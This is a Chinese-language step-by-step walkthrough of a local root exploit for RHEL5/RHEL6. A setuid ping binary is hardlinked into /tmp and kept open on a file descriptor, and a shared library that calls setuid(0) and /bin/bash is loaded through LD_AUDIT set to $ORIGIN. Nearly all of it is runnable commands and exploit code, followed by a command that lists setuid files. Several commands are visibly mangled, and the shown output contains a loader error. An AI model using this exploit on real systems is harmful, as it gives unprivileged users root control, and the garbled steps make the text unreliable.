RHEL5-RHEL6下面都可以实现,root的UID是零
创建一个普通用户
useradd andy
切换到andy用户
su – andy
查看当前用户是谁
whoami
查看tmp目录权限
[andy@bogon tmp]$ ll -d /tmp
drwxrwxrwt. 15 root root 4096 6月 29 14:08 /tmp
切换到tmp目录
cd /tmp
创建一个exploit目录
mkdir exploit
查看ping命令带suid权限
ll /bin/ping
创建target文件硬链接
ln /bin/ping /tmp/exploit/target
查看target文件权限
ll /tmp/exploit/target
把target文件加载到内存中
exec 3< /tmp/exploit/target
查看target在内存中的情况
ll /proc//fd/3
删除target文件
rm -rf /tmp/exploit/
查看target在内存中的情况是删除状态
ll /proc//fd/3
创建一个c语言代码
[andy@bogon tmp]$ vim payload.c
void __attribute__((constructor)) init() // 两个下划线
{
setuid(0);
system("/bin/bash");
}
利用gcc编译这段代码
[andy@bogon tmp]gcc -W -fPIC -shared -o /tmp/exploit payload.c
提升到root权限
[andy@bogon tmp] LD_AUDIT=”\ORIGIN” exec /proc/self/fd/3
ERROR: ld.so: object ‘ORIGIN’ cannot be loaded as audit interface: cannot open shared object file; ignored.
Usage: ping [-LRUbdfnqrvVaA] [-c count] [-i interval] [-w deadline]
[-p pattern] [-s packetsize] [-t ttl] [-I interface or address]
[-M mtu discovery hint] [-S sndbuf]
[ -T timestamp option ] [ -Q tos ] [hop1 …] destination
执行完,查看当前会话已经是root
[root@localhost ~]#
附:通过以下的命令可以找到系统上所有的设置了suid的文件:
[root@localhost /]# find / -perm -04000 -type f -ls